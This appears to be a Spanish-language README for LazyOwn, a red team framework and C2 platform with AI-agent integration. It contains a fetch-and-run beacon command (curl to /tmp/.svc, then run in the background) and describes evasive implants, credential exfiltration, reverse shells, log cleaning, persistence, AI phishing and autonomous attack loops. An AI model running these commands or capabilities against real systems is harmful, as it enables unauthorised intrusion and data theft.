LazyOwn

Framework de red team y plataforma C2 multioperador con agentes de IA, implantes maleables, rootkits, motor de phishing y 741 comandos CLI que cubren toda la cadena de ataque.

741 comandos CLI. C2 multioperador. 153 herramientas MCP para agentes de IA. El único C2 de código abierto con soporte BOF para Linux + marketplaces YARA/Nuclei integrados.

Más demos

Recorrido completo: QUICKSTART.md (5 min) · guía 80/20: ESSENTIALS.md · HTB de principio a fin: docs/examples/htb-lame-walkthrough.md · Comparativa honesta: COMPARISON.md

Por qué LazyOwn frente a Sliver / Havoc / Mythic / Caldera / Metasploit

Tabla completa: COMPARISON.md. ¿Encontraste un error? Abre un issue y lo corregimos.```sh ██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █ ▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █ ▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒ ▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒ ░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░ ░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒ ░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░

La instalación predeterminada es ligera; añade --with-ml para el pesado stack de torch/CUDA, --with-ollama para el runtime local de LLM, --with-tools para los binarios externos comunes. Las dependencias están fijadas en requirements.txt (núcleo multiplataforma) y requirements-ml.txt (ML opcional); pyproject.toml es la única fuente de verdad.

Docker

Para compromisos aislados y reproducibles, consulta lazyown-docker/README.md.```bash cd lazyown-docker ./mkdocker.sh build ./mkdocker.sh run --vpn 1

Si doctor reporta un fallo bloqueante (rojo), corrígelo antes de continuar — te indica el comando exacto de pip install / apt install para lo que falte. Las advertencias (amarillo) son funciones opcionales que puedes ignorar por ahora.

Arquitectura principal

LazyOwn está construido en torno a una arquitectura modular basada en comandos que proporciona flexibilidad y extensibilidad para los flujos de trabajo de pruebas de seguridad.

LazyOwn integra una interfaz de línea de comandos (CLI) construida sobre cmd2 y una GUI basada en web construida sobre Flask. Los parámetros están delimitados en payload.json, lo que permite una configuración coherente entre herramientas. El framework admite simulación de adversarios, programación de tareas mediante el comando cron y flujos de trabajo persistentes de simulación automatizada de amenazas.

Consulta CONTRIBUTING.md para más detalles.

LazyOwn Skills — Integración con MCP

Conecta Claude Code al framework LazyOwn mediante el Model Context Protocol (MCP). El servidor MCP expone 153 herramientas que cubren todo el ciclo de vida del engagement.

Archivos

Inicio rápido (5 minutos hasta la primera shell)

Guía completa: QUICKSTART.md```bash

1. Clone and install (light by default; add --with-ml for the 2 GB torch/CUDA stack, --with-ollama for the local LLM)

git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh

2. Launch, verify the install, then run the wizard

./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider

Heavy optional dependencies (pycryptodome, python-libnmap, impacket, ...) are

imported lazily: a missing package degrades only its feature instead of

crashing the shell, and the dependent command raises a clear "pip install ..."

error when used. To audit them without launching the shell (works even if rich

or cmd2 are broken): python3 -m core.dependencies

3. Define your authorized scope, then recon

(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show

4. Start C2 (separate terminal)

bash fast_run_as_r00t.sh --no-attach --vpn 1

5. Get a shell — Linux BOF-capable beacon

(LazyOwn) > blacksandbeacon

Then on target: curl -sk "http://:/blacksandbeacon" -o /tmp/.svc && chmod +x /tmp/.svc && /tmp/.svc &

6. Invite teammates (multi-operator)

(LazyOwn) > collab_join alice

Prints: https://:<c2_port>/collab/?operator=alice

Flujo SSE de terminal:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .

Bloquear un objetivo (evita que dos operadores ejecuten la misma herramienta):```bash curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'

O copia .mcp.example.json a .mcp.json y establece LAZYOWN_DIR en la ruta absoluta de este checkout:```json { "mcpServers": { "lazyown": { "command": "python3", "args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"], "env": { "LAZYOWN_DIR": "${LAZYOWN_DIR}" } } } }

Después de reiniciar Claude Code, todas las herramientas lazyown_* están disponibles.

Agente Hermes

LazyOwn es nativo de Hermes. La capa de integración skills/hermes-lazyown/ proporciona una superficie de herramientas compacta y con espacio de nombres optimizada para las ventanas de contexto de Hermes con reanudación desde puntos de control, generación dinámica de reglas y planificación de delegación nativa.

Registrar en ~/.hermes/config.yaml:```yaml mcp_servers: hermes-lazyown: command: python3 args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"] env: LAZYOWN_DIR: "${LAZYOWN_DIR}"

El adaptador conecta el servidor MCP de LazyOwn con la CLI de OpenCode, exponiendo la misma superficie de herramientas lazyown_* con prompts y flujos de trabajo nativos de OpenCode.

Configuración completa: https://github.com/grisuno/LazyOwnOpenCodeAdapter

Variables de Entorno

Grupos de Herramientas MCP (153 herramientas)

Documentación completa: skills/README.md y skills/lazyown.md.

Mejoras del MCP en modo auditoría

Añadidas en skills/lazyown_mcp_helpers.py para hacer las auditorías autónomas más eficientes y menos propensas a errores. La lógica reside en un módulo de funciones puras para que sea testeable unitariamente de forma aislada (tests/test_mcp_improvements.py).

Mejoras de la CLI en modo auditoría

Una capa de extensión SOLID en cli/cli_enhancements.py se conecta al shell cmd2 mediante el autodescubrimiento existente de CommandSet (cli/commands/audit.py). No se requirieron ediciones al núcleo de 27k líneas de lazyown.py más allá de dos pequeños hooks (carga de alias lazy, fallback de completedefault).

Las primitivas son agnósticas al framework y dependen de pequeñas interfaces typing.Protocol (PayloadProvider, CommandLister, TerminalIO) para que puedan ser testeadas unitariamente de forma aislada. Ver tests/test_cli_enhancements.py (36 tests).

Autocompletado con menú desplegable difuso

El shell cmd2 instala un selector difuso controlado por curses sobre GNU readline (cli/fuzzy_picker.py). Al pulsar una sola vez Tab, cuando hay dos o más completados disponibles, el selector abre un menú desplegable con borde anclado en la parte inferior del terminal mostrando cada coincidencia junto a su descripción. El puntuador favorece coincidencias exactas, de prefijo y de subsecuencia sobre subcadena y similitud (el mismo ranking que usa el comando independiente fz), y los caracteres coincidentes de la consulta se resaltan en cada fila para que el operador pueda ver por qué un candidato está en la lista.

Navegación: ↑ / ↓ para moverse, Page Up / Page Down para saltar, Home / End para buscar, Backspace para editar la consulta en el lugar, Tab o Enter para insertar el comando resaltado en el prompt, Esc o Ctrl-C para cancelar. Cuando solo coincide un candidato, se preserva el comportamiento normal de autoinserción de readline para que el selector nunca se interponga en el camino de un operador rápido. La geometría, los colores y los glifos son controlados por PickerConfig, y un bloque opcional fuzzy_picker en payload.json puede sobrescribir cualquiera de sus campos (p. ej. "max_visible_rows": 8) sin tocar el código.

Prompt Neon Box configurable — config_banner

El shell cmd2 renderiza un prompt Neon Box de tres líneas ensamblado a partir de un conjunto canónico de segmentos (user_host, iface, lhost, rhost, domain, public_ip, cwd, git, venv, time, kernel, version, battery_load). El renderizador está implementado en cli/banner_config.py como una pequeña pila SOLID: un SegmentRenderer por pieza de información, un SegmentRegistry, un objeto de valor BannerSettings, y un BannerRenderer que emite salida con color ANSI. La IP pública, la versión del kernel y la versión de LazyOwn están cacheadas con TTL para que el prompt se mantenga por debajo del milisegundo tras el primer renderizado.

El comando de shell config_banner abre un asistente curses estilo Powerlevel10k con tres pestañas — Segments, Colors, Glyphs — y una vista previa en vivo del prompt resultante anclada en la parte inferior del panel. Tab / Shift+Tab cambian de pestaña; ↑ / ↓ se mueven dentro de la pestaña activa; Enter guarda en payload.json bajo el bloque banner; Escape cancela. Enlaces por pestaña:

El prompt del shell se actualiza inmediatamente tras guardar — no se necesita reinicio. Los operadores sin TTY (CI, scripts) aún pueden controlar el sistema con config_banner show y config_banner reset, o editar manualmente el payload:```json "banner": { "enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"], "colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"}, "glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│", "bullet_primary": "❯", "arrow": "→"} }

La sugerencia proviene del grafo de conocimiento graphify (el mismo GraphAdvisor usado por suggest_next), por lo que está estructuralmente fundamentada — no es una lista genérica. El hook es totalmente no bloqueante: retorna antes de que cmd2 renderice el prompt, por lo que el operador puede empezar a escribir el siguiente comando inmediatamente.

Control

Los comandos en la lista de omisión (help, ?, exit, set, show, palette, dashboard, suggest_next, graph_search, neighbors, god_nodes) nunca producen una línea de sugerencia — son meta-comandos donde una sugerencia añade ruido.

Cuando el grafo graphify está ausente, el hook retorna silenciosamente. Ejecuta /graphify . una vez para construir el grafo y las sugerencias empezarán a aparecer en el siguiente comando.

Panel de control TUI del operador — dashboard

cli/dashboard_tui.py es un panel de pantalla completa de Textual lanzado desde el shell con:``` dashboard

Fuentes de datos (actualizadas automáticamente cada 5 segundos)

Requiere pip install textual (añadido a install.sh).

Paleta de comandos y descubrimiento basado en grafos

La herramienta MCP lazyown_palette (también accesible como el comando CLI palette y la vista web /palette, con una superposición global Ctrl+K / Cmd+K en cada página del C2) permite a agentes y operadores explorar los más de 422 comandos do_* sin desplazarse. Modos:

Las listas calls / related de la vista de detalle provienen de graphify-out/graph_lazyown.json (regenerado por la skill graphify); cuando ese archivo no está presente, la paleta se degrada silenciosamente a solo datos de fase.

Telegram Hermes Bot

El bot telegram_hermes.py conecta Telegram con el framework completo de LazyOwn a través de la capa MCP y la pasarela Hermes. Admite ejecución directa de comandos de shell, delegación a agentes autónomos, programación de cron, interacción con beacons del C2 y mensajería multiplataforma.

Archivos

Inicio rápido```bash

1. Create the dedicated virtual environment

cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests

2. Configure your bot token in payload.json

python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"

3. Launch the bot

./run_telegram_hermes.sh

Hiperparámetros: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. La exploración epsilon-greedy decae por actualización. Los valores Q persisten en sessions/expert_qvalues.json entre sesiones.

Orquestador SWAN — skills/swan_agent.py

La capa de integración de nivel superior conecta MoE + RL + Detection Oracle + Hive Memory:

• swan_run: ejecución de un solo experto con enrutamiento guiado por RL y actualización de Q posterior a la ejecución
• swan_ensemble: N expertos en paralelo mediante ThreadPoolExecutor, sintetizados por WeightedTextAggregator
• OutcomeEvaluator: recompensa = 0 cuando la probabilidad de detección ≥ 70% (modelado de recompensa consciente de la detección)
• Cada resultado se almacena en Hive Memory (ChromaDB) para el aprendizaje entre sesiones

Detection Oracle (Espejo del Blue Team) — modules/detection_oracle.py

Predice la probabilidad de detección antes de la ejecución utilizando 17 reglas Sigma-lite que cubren: acceso a credenciales (LSASS, SAM, DCSync), movimiento lateral (PsExec, WMI, evil-winrm), escalada de privilegios (suplantación de tokens, named pipes), explotación, reconocimiento, C2 y fuerza bruta.

Agregación de probabilidad: P(detect) = 1 - ∏(1 - P_i) sobre todas las reglas activadas.

Bucle Cerrado de Purple Team — modules/auto_purple.py

Bucle automatizado de medición red-vs-blue que ejecuta acciones ofensivas, consulta a LazyOwnBT para la detección y retroalimenta los resultados al Detection Oracle para su calibración.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI

Tres herramientas MCP:

Inicio rápido:```python

1. Submit the engagement goal

lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )

2. Start autonomous execution

lazyown_auto_loop(target="10.10.11.5", max_steps=20)

3. Monitor progress

lazyown_aci_status()

4. When blocked (blocked_count >= 3)

lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")

Daemon Autónomo — skills/autonomous_daemon.py

Cuatro roles de asyncio en un único proceso — no se requiere Claude entre pasos:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings

• Fail-open por diseño: inactivo mientras el alcance esté vacío o el modo sea off, por lo que las campañas existentes no se ven afectadas hasta que se opte por participar. Cualquier error interno permite el comando en lugar de bloquear al operador.
• warn anota los comandos ofensivos fuera de alcance; enforce los bloquea a la espera de confirmación explícita (y se niega en sesiones no interactivas).
• Solo se restringen las categorías ofensivas de la kill-chain; los informes, la configuración y los ayudantes locales siempre se ejecutan. Los nuevos comandos ofensivos do_* se clasifican automáticamente.
• Almacenado en payload.json (scope, scope_enforcement); la lógica pura reside en cli/scope_guard.py con acoplamiento cero al shell.

Instalaciones reproducibles

Las dependencias se declaran una vez en pyproject.toml (única fuente de verdad) y se fijan para instalaciones reproducibles:

• requirements.txt — bloqueo del núcleo multiplataforma (sin ruedas CUDA).
• requirements-ml.txt — opcional, pila ML pesada (torch/CUDA, scikit-learn).
• install.sh se ejecuta en modo estricto y es idempotente. La instalación predeterminada es ligera; opte por los extras con --with-ml (pila ML de 2 GB), --with-ollama (entorno de ejecución LLM local) y --with-tools (binarios externos comunes).
• Desarrolladores: pip install -e .[ml,dev].

Características clave

1. 741 comandos de ataque: cobertura completa de la kill-chain en Linux, Windows, macOS y BSD — reconocimiento, enumeración, explotación, escalada de privilegios, movimiento lateral, acceso a credenciales, C2, exfiltración e informes.
2. CLI interactiva cmd2: autocompletado difuso, prompt configurable con neon-box, paleta de comandos (Ctrl+K), sugerencias reactivas en línea tras cada comando y un panel TUI de Textual.
3. Marketplace integrado: yara_marketplace (10 reglas integradas: ransomware, C2, webshells, ofuscación, privesc), nuclei_marketplace (más de 500 plantillas), marketplace para plugins/complementos de la comunidad — todo navegable mediante TUI de curses.
4. auto_pwn y hunt: encadenamiento autónomo de explotación y reconocimiento basado en amenazas — auto_pwn recorre automáticamente las fases de la kill-chain, hunt ejecuta descubrimiento dirigido basado en TTPs conocidas.
5. Motor unificado de consejos post-comando: sugerencias inteligentes (pistas de kill-chain, protips, curiosidad, autosugerencia) con clasificación ELO, insignias (First Blood, Arsenal Master, Kill Chain Master) y recompensas VRI — experiencia de operador gamificada.
6. Criptografía de sesión automática: auto_crypto cifra los archivos de sesión sensibles al salir y los descifra al iniciar (PBKDF2HMAC + Fernet), de forma transparente para el operador.
7. Arquitectura nativa de IA: enrutador MoE (Mixture of Experts), entrenamiento RL, orquestador SWAN, sistema multiagente Hive Mind, planificador ACI (Autonomous Campaign Intelligence) — el primer C2 que planifica, ejecuta y aprende de forma autónoma.
8. Implantes Go ofuscados multi-etapa: entrega de beacon en dos etapas codificada con XOR con stubs en C, canales C2 cifrados con AES-256, evasión de VM/sandbox/debugger, polimorfismo y stagers basados en LOLBAS. Probado en Kernel 6.12 y Windows 10.0.20348.
9. BOF (Beacon Object Files) para Linux: primer framework C2 de código abierto con soporte BOF para Linux mediante el runtime ELF dlopen. API datap compatible a nivel de código fuente con el contrato BOF de Windows. Syscalls directas y soporte de io_uring.
10. Trampa señuelo para el equipo azul: sitio web señuelo en Flask que graba vídeo/audio y captura imágenes de visitantes no autorizados (operadores del equipo azul sondeando el C2), almacenadas en sessions/captured_images.
11. Superficie de ataque Bloodhound: cargue datos ZIP de Bloodhound para renderizar gráficos interactivos de superficie de ataque con filtrado y búsqueda, complementados con datos de descubrimiento de lazynmap.
12. Motor de phishing impulsado por IA: plantillas de correo generadas por IA de Groq/DeepSeek con generación dinámica de URL, píxeles de seguimiento, acortamiento de URL y creación de endpoints de prueba.

3. Decoy: si la dirección IP no coincide con 127.0.0.1 o lhost, Flask mostrará un sitio web señuelo; este sitio señuelo grabará un vídeo con audio y tomará fotos del intruso (sessions/captured_images) como una pequeña versión de storm breaker para saber quién es el operador del equipo azul

4. Simulación de adversarios: capacidades avanzadas para generar sesiones de operaciones de equipo rojo, garantizando simulaciones meticulosas y efectivas.

5. Programación de tareas: utilice el comando cron para programar y automatizar tareas, permitiendo simulaciones de amenazas persistentes.
6. Resultados en tiempo real: obtenga retroalimentación y resultados inmediatos de las evaluaciones de seguridad, garantizando información oportuna y precisa.
7. Capacidades de RAT y botnet: incluye funciones de acceso y control remoto, permitiendo la gestión de botnets y amenazas persistentes.
8. Framework C2 impulsado por IA: actúa como un framework de comando y control (C2), permitiendo comunicación encubierta y control sobre sistemas comprometidos. Y muchos bots de IA para mejorar su opsec, desarrollado en Flask, proporcionando una interfaz fácil de usar para una interacción fluida. Ahora con capacidades de descubrimiento de red, lo que nos permite ver la superficie de ataque en nuestro mapa de clientes de forma clara e intuitiva con filtros y un panel de búsqueda. Nuevas funcionalidades llegarán pronto.

• Creador de LazyAddon para C2: páginas guiadas de /addons en el panel del C2 para crear integraciones lazyaddons/*.yaml sin tocar YAML a mano. Un formulario expone todas las opciones de addon (nombre, descripción, autor, versión, habilitado, SO objetivo, servicios de activación, categoría, tipo de módulo, tipo de instalación, parámetros, bloque de herramienta, extras del C2, variables de entorno) con tooltips, placeholders y ayuda por campo. Los chips de placeholder ({rhost}, {url}, parámetros declarados y cada clave de payload.json) se arrastran y sueltan en los cuadros de comando. La validación del lado del servidor rechaza nombres inseguros, path traversal, placeholders desconocidos y URLs malformadas antes de escribir el archivo; las escrituras son atómicas y seguras (archivo temporal creado con permisos restrictivos mediante mkstemp + fchmod, vaciado y fsync, luego promovido con os.replace). Las páginas de lista y vista previa de YAML completan el ciclo de vida. Cada ruta mutadora está protegida con CSRF. Contrato: lazyc2/addon_creator.py + lazyc2/blueprints/addons.py, cubierto por tests/test_addon_creator.py y la puerta de mutación tests/run_mutation_addon_creator.py.

9. Implantes GO indetectables, ofuscados y maleables: el comando con el payload viene ofuscado por defecto. En lugar de descargar directamente el beacon, descarga un stub creado en C para descargar el beacon, que está codificado con XOR con una clave. Luego se decodifica en memoria y se ejecuta en una ruta temporal con un nombre único para evadir la detección, usando svchost en Windows y lazyservice en Linux. Esto realiza un implante de dos etapas, que ha sido probado en Kernel 6.12 y Windows [Versión 10.0.20348.3807]. Además, se ha añadido un stub alternativo para Windows usando LOLBAS PS1 y Csharp, junto con una versión de ebird3 en LOLBAS que utiliza las mismas tecnologías. El beacon Go es un implante multiplataforma, indetectable y altamente ofuscado diseñado para operaciones avanzadas de equipo rojo. Presenta polimorfismo, opera en un modo sigiloso configurable y asegura las comunicaciones con canales cifrados AES-256. El beacon se integra en los entornos simulando tráfico de red legítimo y evade la detección identificando máquinas virtuales, sandboxes, contenedores y depuradores, ajustando dinámicamente su comportamiento. Con una huella mínima, soporta un descubrimiento de red robusto mediante enumeración de hosts basada en ping y escaneo de puertos de objetivos configurados. El implante destaca en la exfiltración de datos sensibles, incluidas claves privadas, credenciales de AWS, credenciales de navegador y registros del sistema. Ofrece proxy TCP dinámico para redirección de tráfico, intentos de escalada de privilegios y limpieza de registros del sistema. La persistencia se logra en Windows, Linux y macOS mediante tareas programadas, systemd, crontab y LaunchAgents. Las capacidades adicionales incluyen emulación de adversarios (MITRE ATT&CK), ofuscación de marcas de tiempo de archivos y compresión de directorios para exfiltración. Construido con Go vet para la salud del código, el implante se integra perfectamente con entornos Dockerizados y microVMs de AWS Firecracker, lo que lo convierte en una piedra angular de la infraestructura moderna de equipo rojo. Construido con Go vet para la integridad del código, el implante aprovecha Cloudflare para la ofuscación del tráfico, enrutando las comunicaciones a través de redirectores seguros y de alto rendimiento para ocultar la infraestructura C2. El binario Go está endurecido con ofuscación Garble, frustrando la ingeniería inversa y la detección basada en firmas. En Windows, el implante emplea camuflaje de extensión para hacerse pasar por archivos benignos (p. ej., .pdfx) e incrusta iconos personalizados mediante rsrc para una ingeniería social convincente.

Comandos de beacon disponibles:

• stealth_off deja de ser sigiloso, desactiva el modo sigiloso, permitiendo operaciones normales.
• stealth_on entra en modo ninja, activa el modo sigiloso, minimizando la actividad para evitar la detección.
• download: download:[filename] Descarga un archivo desde el C2 al host comprometido.
• upload: [filename]: Sube un archivo desde el host comprometido al C2.
• rev: Establece un shell inverso al C2 usando el puerto configurado.
• exfil: Exfiltra datos sensibles (p. ej., claves SSH, credenciales de AWS, historiales de comandos).
• download_exec: download_exec:[url]: Descarga y ejecuta un binario desde una URL (solo Linux, almacenado en /dev/shm).
• obfuscate: [filename]: Ofusca las marcas de tiempo de los archivos para dificultar el análisis forense.
• cleanlogs: Limpia los registros del sistema (p. ej., /var/log/syslog en Linux, registros de eventos en Windows).
• discover: Realiza descubrimiento de red, identificando hosts activos mediante ping.
• adversary:[id_atomic]: Ejecuta una prueba de emulación de adversarios (MITRE ATT&CK) usando scripts descargados del framework atomic redteam.
• softenum: Enumera software útil en el host (p. ej., docker, nc, python).
• netconfig: Captura y exfiltra la configuración de red (p. ej., ipconfig en Windows, ifconfig en Linux).
• escalatelin: Intenta la escalada de privilegios en Linux (p. ej., mediante sudo -n o binarios SUID).
• proxy:[listenip]:[listenport]:[targetip]:[targetport] Inicia un proxy TCP redirigiendo el tráfico desde listenAddr a targetAddr.
• stop_proxy:[listenaddr] Detiene un proxy TCP en la dirección especificada.
• portscan: Escanea puertos en los hosts descubiertos y en el rhost configurado.
• compressdir:[directory]: Comprime un directorio en un archivo .tar.gz y lo exfiltra.
• sandbox: Obtiene información sobre el sistema para saber si es una sandbox o no.
• isvm: Obtiene información sobre el sistema para saber si es una máquina virtual o no.
• debug: Obtiene información sobre el sistema para saber si el objetivo está siendo depurado o no.
• persist: Intenta establecer un mecanismo de persistencia en el sistema objetivo.

Novedades de v0.2.161

Kill-chain unificada (única fuente de verdad)

• modules/killchain.py calcula la fase; cada superficie (CLI /killchain, /api/killchain, C2 /api/data+/api/dashboard, panel GUI2) renderiza su snapshot().
• Historial de comandos de beacon por implante: /api/beacon_results/<client_id>, respaldado por modules/beacon_history.py (JSONL, seguro para rutas).
• CLI /killchain auto on|off|N con auto-refresco en vivo; flags killchain_auto_every / killchain_auto_on_phase_change.
• El C2 descifra el estado de la sesión al arrancar y lo vuelve a cifrar al salir limpiamente, por lo que los beacons y la kill-chain reflejan valores reales mientras el servidor se ejecuta.

Marketplace (YARA + Nuclei)

Navegue, busque e instale desde una TUI de marketplace unificada:

• yara_marketplace list|search|install|info -- 10 reglas integradas (ransomware, C2, webshells, ofuscación, privesc)
• nuclei_marketplace list|search|install|info -- más de 500 plantillas desde ~/nuclei-templates
• marketplace list|search|install|update -- 137 addons YAML, 57 plugins, 69 herramientas

auto_pwn y hunt

• auto_pwn -- recorrido autónomo de la kill-chain desde el reconocimiento hasta la explotación
• hunt -- reconocimiento basado en amenazas: mapea TTPs conocidas a servicios descubiertos

Inteligencia reactiva

• Motor de consejos post-comando: pistas de kill-chain, protips, recompensas por curiosidad
• Clasificación ELO, insignias (First Blood, Arsenal Master, Kill Chain Master)
• Sugerencias reactivas en línea: sugerencias de "siguiente comando" tras cada acción

Auto Crypto

Cifrado transparente de sesión al salir / descifrado al iniciar mediante PBKDF2HMAC + Fernet.

Nuevos Playbooks

7 perfiles APT: Azure Graph API, CICD Poisoning, Entra Connect, macOS TCC, OAuth Token Theft, SCCM/MECM, VDI Breakout.

Modo de cadena interactivo

chainmode on inicia un flujo de encadenamiento impulsado por un modelo del mundo: tras cada comando el shell ofrece siguientes pasos clasificados (Enter = sugerencia principal, 1..N = alternativa clasificada, cualquier comando = anulación, skip = manual, ESC/Ctrl+C/off = salir). Las selecciones inválidas vuelven a preguntar en lugar de omitirse silenciosamente, y el flujo se autopausa tras max_steps comandos encadenados. El estado persiste en sessions/chain_mode.json (escrituras atómicas). Contrato: cli/chain_mode.py + cli/command_chain.py.

Pulido de funcionalidades (UX + endurecimiento de seguridad)

• Sugerencias en línea respaldadas por evidencia: cada sugerencia incluye verbo, confianza ([0, 99], nunca un 100% deshonesto), razón y procedencia. Contrato: cli/reactive_hints.py + cli/recommendation_signals.py.
• Motor de consejos unificado renderizado completamente mediante rich (sin escapes ANSI sin procesar); el texto de los consejos del registro nunca puede romper el renderizado del marcado. Contrato: cli/tips_engine.py.
• cli/noise_verbs.py es la única fuente de verdad para las listas de verbos no accionables compartidas por sugerencias, consejos y modo de cadena.
• Claves de API vinculadas a inquilinos: core/api_authz.py ahora implementa la ventana de gracia de rotación documentada, copia los permisos de la clave rotada (regresión corregida), devuelve JSON 401/403 (seguro con TRAP_HTTP_EXCEPTIONS), y el endpoint C2 /api/health/tenant se aplica realmente. Puerta de mutación: tests/run_mutation_api_authz.py (7/7 eliminadas).
• core/logging.py install_json_handler preserva los manejadores preexistentes y es idempotente.
• La sincronización ELO estructurada respeta las rutas de almacén de usuario redirigidas y las pruebas son independientes del inicio de sesión del host.

Endurecimiento de seguridad (SDD+TDD+BDD)

Primitivas de seguridad centralizadas en core/hardening.py con 48 pruebas estilo BDD (tests/test_security_hardening_v3.py). Ejecutar con:```bash pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py

Cuando la aplicación se inicia, ejecutará init_plugins.lua, que carga todos los demás archivos .lua en el directorio plugins/.

2. Escribir plugins de Lua Un plugin de Lua es un archivo de script con la extensión .lua colocado en el directorio plugins/. Cada plugin puede definir funciones y registrarlas como comandos en el shell.

Estructura de un plugin de Lua ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end

Ahora, puedes ejecutar el comando hello en el shell: bash hello Lua Hello, Lua! 4. Mejores Prácticas

• Mantén los Plugins Modulares : Cada plugin debe centrarse en una única característica o funcionalidad.
• Documenta tus Plugins : Proporciona documentación clara para cada plugin, incluyendo ejemplos de uso.
• Prueba Exhaustivamente : Prueba tus plugins de forma aislada antes de integrarlos en la aplicación principal.
• Maneja los Errores con Elegancia : Usa pcall para manejar errores en los plugins de Lua y evitar fallos.

Al aprovechar el scripting de Lua, puedes extender la funcionalidad de LazyOwnShell sin modificar el código Python principal. Esto permite una mayor flexibilidad y personalización, permitiendo a los usuarios escribir sus propios plugins para satisfacer necesidades específicas. ¡Feliz programación!

Sistema YAML de LazyAddons

Extender las capacidades del Framework RedTeam LazyOwn nunca ha sido tan fácil, incluso para no programadores, gracias al sistema LazyAddons que permite extender funcionalidades usando archivos YAML.

Creación declarativa de comandos a través de archivos de configuración YAML.

Estructura de Archivos

lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml

🛠️ Definición de Addon

Ejemplo Mínimo```yaml

name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"

tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"

Características Autoinstalación Las herramientas se clonan desde Git cuando faltan:```bash git clone <repo_url> <install_path>

▶️ Uso Coloca los archivos YAML en lazyaddons/

Inicia tu aplicación CLI

Ejecuta los comandos registrados:```bash (Cmd) help your_command (Cmd) your_command -args

LazyOwn es ideal para profesionales de la ciberseguridad que buscan una solución centralizada y automatizada para sus necesidades de pentesting, ahorrando tiempo y mejorando la eficiencia en la identificación y explotación de vulnerabilidades.

Requisitos

• Python 3.x

• Módulos de Python:

  • requests
  • python-libnmap
  • pwncat-cs
  • pwn
  • groq
  • PyPDF2
  • docx
  • python-docx
  • olefile
  • exifread
  • pycryptodome
  • impacket
  • pandas
  • colorama
  • tabulate
  • pyarrow
  • keyboard
  • flask-unsign
  • name-that-hash
  • certipy-ad
  • ast
  • pykeepass
  • cmd2
  • Pillow
  • netaddr
  • stix2
  • pyautogui

• subprocess (incluido en la biblioteca estándar de Python)

• platform (incluido en la biblioteca estándar de Python)

• tkinter (Opcional para el GUI)

• numpy (Opcional para el GUI)

Instalación

1. Clona el repositorio:```sh git clone https://github.com/grisuno/LazyOwn.git cd LazyOwn

Uso

```sh ./run or ./fast_run_as_r00t.sh

./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner

./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)

Ejemplo 2: Escaneo con módulos específicos

Ejemplo 3: Escaneo con autenticación

Ejemplo 4: Escaneo con proxy

Ejemplo 5: Escaneo con salida en formato JSON

Ejemplo 6: Escaneo con salida en formato HTML

Ejemplo 7: Escaneo con salida en formato CSV

Ejemplo 8: Escaneo con salida en formato Markdown

Ejemplo 9: Escaneo con salida en formato XML

Ejemplo 10: Escaneo con salida en formato YAML

Ejemplo 11: Escaneo con salida en formato SARIF

